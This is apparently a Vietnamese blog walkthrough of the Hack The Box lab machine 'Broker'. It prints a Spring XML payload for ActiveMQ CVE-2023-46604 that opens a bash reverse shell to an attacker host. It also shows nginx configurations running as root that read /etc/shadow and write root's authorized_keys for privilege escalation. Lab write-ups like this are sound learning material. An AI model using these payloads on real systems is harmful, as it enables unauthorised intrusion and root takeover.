Broker

 

Enumeration

Zenmap:

Gaining access activemq

Tôi nghĩ mình không cần kiểm tra website nữa mà tôi sẽ bỏ qua nó và chuyển sang apachemq ActiveMQ. Vì cách đây vài ngày tôi có nhận được gmail như sau:
Đây là lỗ hổng rce về apachemq ActiveMQ: CVE-2023-46604
Thật tình cờ và thật bất ngờ :D, tôi cũng đã tìm hiểu và khai thác lỗ hổng này. Bây giờ tôi chỉ cần mở poc mã tôi đã viết, chỉnh sửa kết nối tới server và khai thác:
Đoạn mã khai thác được tôi tạo từ: Apache ActiveMQ version < 5.18.3 RCE
Ngoài ra mã khai thác đã được viết sẵn: ActiveMQ-RCE
Thực hiện khai thác với payload như sau:
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/<IP Attack>/8888 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
Khi đó tôi nhận được kết nối từ server như sau:

Privilege escalation

Nginx có thể giúp tôi lấy được quyền root, tôi chỉ định một file config nginx như sau:
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 1111;
        root /;
    }
}
sau đó tôi start nó với nginx:
Tôi có thể đọc file shadow, Kiểm tra một số file khác nhưng tôi chưa thể lấy được root shell. Tôi biết rằng với nginx tôi cũng có thể ghi file:
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 2222;
        root /;
	dav_methods PUT;
    }
}
Khi đó tôi có thể ghi file authorized_keys như sau:
Với điều này tôi đã có thể ssh với key:
PS D:\thehackbox\Machines\Broker> ssh-keygen.exe -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (C:\Users\84911/.ssh/id_ed25519): id_ed25519
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_ed25519.
Your public key has been saved in id_ed25519.pub.
The key fingerprint is:
SHA256:3VhQPE4jba95WDExjA5P1XGbuRtc73Jm3REGKIZDhp4 84911@Huydz
The key's randomart image is:
+--[ED25519 256]--+
|      oo. .+o=++o|
|     ..o oooX =.*|
|    . . o .X.+ O.|
|     E   . ++ = =|
|        S o .= =.|
|            + ..*|
|             ...B|
|               = |
|                 |
+----[SHA256]-----+
PS D:\thehackbox\Machines\Broker> more .\id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOg+0zBRkary7RNxMyNr9D8BrU+MSWFv9WVzoIp3ITTW 84911@Huydz

PS D:\thehackbox\Machines\Broker> ssh -i .\id_ed25519 root@10.10.11.243
root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@broker:~#


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post